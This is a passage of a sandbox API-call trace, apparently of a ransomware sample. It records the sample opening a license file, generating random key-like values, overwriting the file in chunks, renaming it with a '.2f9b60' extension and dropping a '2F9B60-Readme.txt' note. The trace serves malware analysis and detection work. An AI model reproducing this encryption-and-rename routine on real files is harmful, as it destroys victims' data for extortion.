ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5740 [0133.469] wcscmp (_String1=".", _String2=".") returned 0 [0133.469] FindNextFileW (in: hFindFile=0x1ced5740, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.469] wcscmp (_String1="..", _String2=".") returned 1 [0133.469] wcscmp (_String1="..", _String2="..") returned 0 [0133.469] FindNextFileW (in: hFindFile=0x1ced5740, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2b9400, ftCreationTime.dwHighDateTime=0x1c9c55a, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb2b9400, ftLastWriteTime.dwHighDateTime=0x1c9c55a, nFileSizeHigh=0x0, nFileSizeLow=0x1afd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SynchronizationEula.rtf", cAlternateFileName="SYNCHR~1.RTF")) returned 1 [0133.469] wcscmp (_String1="SynchronizationEula.rtf", _String2=".") returned 1 [0133.469] wcscmp (_String1="SynchronizationEula.rtf", _String2="..") returned 1 [0133.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1b799070 [0133.469] wcscpy (in: _Dest=0x1b799070, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" [0133.470] wcscat (in: _Dest=0x1b799070, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\" [0133.470] wcscat (in: _Dest=0x1b799070, _Source="SynchronizationEula.rtf" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf" [0151.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements\\synchronizationeula.rtf")) returned 0x20 [0151.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf", dwFileAttributes=0x20) returned 1 [0151.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements\\synchronizationeula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2514 [0151.388] GetFileSizeEx (in: hFile=0x2514, lpFileSize=0x2cf3f7a0 | out: lpFileSize=0x2cf3f7a0*=110551) returned 1 [0151.388] SetFilePointerEx (in: hFile=0x2514, liDistanceToMove=0x1afd3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.388] ReadFile (in: hFile=0x2514, lpBuffer=0x2cf3f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cf3f768, lpOverlapped=0x0 | out: lpBuffer=0x2cf3f720*, lpNumberOfBytesRead=0x2cf3f768*=0x4, lpOverlapped=0x0) returned 1 [0151.410] SetFilePointerEx (in: hFile=0x2514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bac0 [0151.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff6f0 [0151.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff720 [0151.410] NtQuerySystemTime (in: CurrentTime=0x2cf3f660 | out: CurrentTime=0x2cf3f660*=132462177566158000) returned 0x0 [0151.410] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x3eca5564 [0151.410] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x8f7ddcb [0151.410] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x5280103c [0151.410] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x4467659 [0151.410] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x36328e62 [0151.410] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x3bfc5c35 [0151.410] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x5e22a44e [0151.410] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x67cc42c5 [0151.410] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x32edb7e4 [0151.410] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x6ffe4f1a [0151.410] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x2bd72a9 [0151.410] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x273014be [0151.410] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x2ce95646 [0151.410] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x76a1cfb8 [0151.410] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x2a757731 [0151.410] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x57513505 [0151.410] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x556743a [0151.411] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x4dcb2d42 [0151.411] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x3d290f97 [0151.411] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x3d0d4104 [0151.411] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x586a1ce8 [0151.411] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x3a66be1e [0151.411] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x331ce71d [0151.411] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x11357e95 [0151.411] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0xdd1e9bb [0151.411] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x421c1a1e [0151.411] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x5f8babb2 [0151.411] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x38c3da64 [0151.411] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x48418401 [0151.411] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x15c5feb3 [0151.411] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x67f7bfb2 [0151.411] RtlRandomEx (in: Seed=0x2cf3f650 | out: Seed=0x2cf3f650) returned 0x40b58ec7 [0151.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff750 [0151.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0151.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff780 [0151.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0151.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff720) returned 1 [0151.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bac0) returned 1 [0151.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424ee500 [0151.426] SetFilePointerEx (in: hFile=0x2514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.426] ReadFile (in: hFile=0x2514, lpBuffer=0x424ee500, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2cf3f6c0, lpOverlapped=0x0 | out: lpBuffer=0x424ee500*, lpNumberOfBytesRead=0x2cf3f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0151.441] SetFilePointerEx (in: hFile=0x2514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058740 [0151.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0151.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff720 [0151.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff720) returned 1 [0151.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424f5d20 [0151.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff720 [0151.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff7b0 [0151.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff7b0) returned 1 [0151.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0151.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058740) returned 1 [0151.443] WriteFile (hFile=0x2514, lpBuffer=0x424f5d20, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2cf3f6c0, lpOverlapped=0x0) [0194.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424f5d20) returned 1 [0194.384] SetFilePointerEx (in: hFile=0x2514, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.384] ReadFile (in: hFile=0x2514, lpBuffer=0x424ee500, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2cf3f6c0, lpOverlapped=0x0 | out: lpBuffer=0x424ee500*, lpNumberOfBytesRead=0x2cf3f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.556] SetFilePointerEx (in: hFile=0x2514, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0194.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba3e0 [0194.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a50f0 [0194.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a50f0) returned 1 [0194.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4283fa20 [0194.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a50f0 [0194.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5120 [0194.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5120) returned 1 [0194.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba3e0) returned 1 [0194.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0194.560] WriteFile (in: hFile=0x2514, lpBuffer=0x4283fa20*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2cf3f6c0, lpOverlapped=0x0 | out: lpBuffer=0x4283fa20*, lpNumberOfBytesWritten=0x2cf3f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4283fa20) returned 1 [0205.399] SetFilePointerEx (in: hFile=0x2514, liDistanceToMove=0x173d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.399] ReadFile (in: hFile=0x2514, lpBuffer=0x424ee500, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2cf3f6c0, lpOverlapped=0x0 | out: lpBuffer=0x424ee500*, lpNumberOfBytesRead=0x2cf3f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.496] SetFilePointerEx (in: hFile=0x2514, liDistanceToMove=0x173d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617f0 [0205.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202617f0) returned 1 [0205.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a845f0 [0205.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617f0 [0205.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262570 [0205.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262570) returned 1 [0205.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.500] WriteFile (in: hFile=0x2514, lpBuffer=0x42a845f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2cf3f6c0, lpOverlapped=0x0 | out: lpBuffer=0x42a845f0*, lpNumberOfBytesWritten=0x2cf3f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0215.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a845f0) returned 1 [0215.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105520 [0215.047] SetFilePointerEx (in: hFile=0x2514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.047] WriteFile (in: hFile=0x2514, lpBuffer=0x4310e720*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x2cf3f770, lpOverlapped=0x0 | out: lpBuffer=0x4310e720*, lpNumberOfBytesWritten=0x2cf3f770*=0x160, lpOverlapped=0x0) returned 1 [0219.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62870 [0219.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8684c0 [0219.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe3e0 [0219.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe3e0) returned 1 [0219.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cda0830 [0219.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe3e0 [0219.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff370 [0219.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff370) returned 1 [0219.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0219.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62870) returned 1 [0219.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x430e9e50 [0219.868] sprintf (in: _Dest=0x430e9e50, _Format="%c%c" | out: _Dest="f3") returned 2 [0219.868] sprintf (in: _Dest=0x430e9e52, _Format="%c%c" | out: _Dest="bc") returned 2 [0219.868] sprintf (in: _Dest=0x430e9e54, _Format="%c%c" | out: _Dest="c7") returned 2 [0219.868] sprintf (in: _Dest=0x430e9e56, _Format="%c%c" | out: _Dest="fd") returned 2 [0219.868] sprintf (in: _Dest=0x430e9e58, _Format="%c%c" | out: _Dest="d4") returned 2 [0219.868] sprintf (in: _Dest=0x430e9e5a, _Format="%c%c" | out: _Dest="9b") returned 2 [0219.868] sprintf (in: _Dest=0x430e9e5c, _Format="%c%c" | out: _Dest="33") returned 2 [0219.868] sprintf (in: _Dest=0x430e9e5e, _Format="%c%c" | out: _Dest="d2") returned 2 [0219.868] sprintf (in: _Dest=0x430e9e60, _Format="%c%c" | out: _Dest="42") returned 2 [0219.868] sprintf (in: _Dest=0x430e9e62, _Format="%c%c" | out: _Dest="e5") returned 2 [0219.868] sprintf (in: _Dest=0x430e9e64, _Format="%c%c" | out: _Dest="88") returned 2 [0219.868] sprintf (in: _Dest=0x430e9e66, _Format="%c%c" | out: _Dest="1f") returned 2 [0219.868] sprintf (in: _Dest=0x430e9e68, _Format="%c%c" | out: _Dest="2b") returned 2 [0219.868] sprintf (in: _Dest=0x430e9e6a, _Format="%c%c" | out: _Dest="04") returned 2 [0219.868] sprintf (in: _Dest=0x430e9e6c, _Format="%c%c" | out: _Dest="05") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e6e, _Format="%c%c" | out: _Dest="f7") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e70, _Format="%c%c" | out: _Dest="73") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e72, _Format="%c%c" | out: _Dest="f4") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e74, _Format="%c%c" | out: _Dest="29") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e76, _Format="%c%c" | out: _Dest="f8") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e78, _Format="%c%c" | out: _Dest="44") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e7a, _Format="%c%c" | out: _Dest="f6") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e7c, _Format="%c%c" | out: _Dest="69") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e7e, _Format="%c%c" | out: _Dest="4e") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e80, _Format="%c%c" | out: _Dest="3c") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e82, _Format="%c%c" | out: _Dest="8a") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e84, _Format="%c%c" | out: _Dest="b8") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e86, _Format="%c%c" | out: _Dest="15") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e88, _Format="%c%c" | out: _Dest="4e") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e8a, _Format="%c%c" | out: _Dest="56") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e8c, _Format="%c%c" | out: _Dest="15") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e8e, _Format="%c%c" | out: _Dest="22") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e90, _Format="%c%c" | out: _Dest="ff") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e92, _Format="%c%c" | out: _Dest="26") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e94, _Format="%c%c" | out: _Dest="e0") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e96, _Format="%c%c" | out: _Dest="5f") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e98, _Format="%c%c" | out: _Dest="69") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e9a, _Format="%c%c" | out: _Dest="06") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e9c, _Format="%c%c" | out: _Dest="ee") returned 2 [0219.869] sprintf (in: _Dest=0x430e9e9e, _Format="%c%c" | out: _Dest="26") returned 2 [0219.869] sprintf (in: _Dest=0x430e9ea0, _Format="%c%c" | out: _Dest="17") returned 2 [0219.869] sprintf (in: _Dest=0x430e9ea2, _Format="%c%c" | out: _Dest="b1") returned 2 [0219.869] sprintf (in: _Dest=0x430e9ea4, _Format="%c%c" | out: _Dest="30") returned 2 [0219.869] sprintf (in: _Dest=0x430e9ea6, _Format="%c%c" | out: _Dest="74") returned 2 [0219.869] sprintf (in: _Dest=0x430e9ea8, _Format="%c%c" | out: _Dest="60") returned 2 [0219.869] sprintf (in: _Dest=0x430e9eaa, _Format="%c%c" | out: _Dest="db") returned 2 [0219.869] RtlInitAnsiString (in: DestinationString=0x2cf3f7e8, SourceString="f3bcc7fdd49b33d242e5881f2b0405f773f429f844f6694e3c8ab8154e561522ff26e05f6906ee2617b1307460db" | out: DestinationString="f3bcc7fdd49b33d242e5881f2b0405f773f429f844f6694e3c8ab8154e561522ff26e05f6906ee2617b1307460db") [0219.869] RtlAnsiStringToUnicodeString (in: DestinationString=0x2cf3f7b8, SourceString="f3bcc7fdd49b33d242e5881f2b0405f773f429f844f6694e3c8ab8154e561522ff26e05f6906ee2617b1307460db", AllocateDestinationString=1 | out: DestinationString="f3bcc7fdd49b33d242e5881f2b0405f773f429f844f6694e3c8ab8154e561522ff26e05f6906ee2617b1307460db") returned 0x0 [0219.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x43112990 [0219.870] wcscat (in: _Dest=0x1ceb6110, _Source="f3bcc7fdd49b33d242e5881" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\f3bcc7fdd49b33d242e5881") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\f3bcc7fdd49b33d242e5881" [0219.870] wcscat (in: _Dest=0x1ceb6110, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\f3bcc7fdd49b33d242e5881.2f9b60") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\f3bcc7fdd49b33d242e5881.2f9b60" [0219.870] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\f3bcc7fdd49b33d242e5881.2f9b60", NtPathName=0x2cf3f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\f3bcc7fdd49b33d242e5881.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x169090 [0222.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169090) returned 1 [0222.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b2460) returned 1 [0222.678] NtQueryInformationFile (in: FileHandle=0x2514, IoStatusBlock=0x2cf3f7f8, FileInformation=0x2cf3f808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2cf3f7f8, FileInformation=0x2cf3f808) returned 0x0 [0222.678] NtSetInformationFile (FileHandle=0x2514, IoStatusBlock=0x2cf3f7f8, FileInformation=0x2cf3f808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb6110) returned 1 [0223.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43112990) returned 1 [0223.184] FlushFileBuffers (hFile=0x2514) returned 1 [0224.000] CloseHandle (hObject=0x2514) returned 1 [0224.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x43157fa0 [0224.877] wcscpy (in: _Dest=0x43157fa0, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\" [0224.877] wcscat (in: _Dest=0x43157fa0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\2F9B60-Readme.txt" [0224.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements\\2f9b60-readme.txt")) returned 0xffffffff [0224.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3180 [0225.822] WriteFile (in: hFile=0x3180, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2cf3f6b0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2cf3f6b0*=0xba9, lpOverlapped=0x0) returned 1 [0226.282] CloseHandle (hObject=0x3180) returned 1 [0229.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43157fa0) returned 1 [0229.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799070) returned 1 [0229.691] FindNextFileW (in: hFindFile=0x1ced5740, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2b9400, ftCreationTime.dwHighDateTime=0x1c9c55a, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb2b9400, ftLastWriteTime.dwHighDateTime=0x1c9c55a, nFileSizeHigh=0x0, nFileSizeLow=0x1afd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SynchronizationEula.rtf", cAlternateFileName="SYNCHR~1.RTF")) returned 0 [0229.691] FindClose (in: hFindFile=0x1ced5740 | out: hFindFile=0x1ced5740) returned 1 [0229.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce217a0) returned 1 [0229.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106c40) returned 1 [0229.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278e30) returned 1 Thread: id = 1891 os_tid = 0x104c [0133.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20508770 [0133.480] wcscpy (in: _Dest=0x20508770, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources") returned="C:\\Program Files\\Microsoft Sync 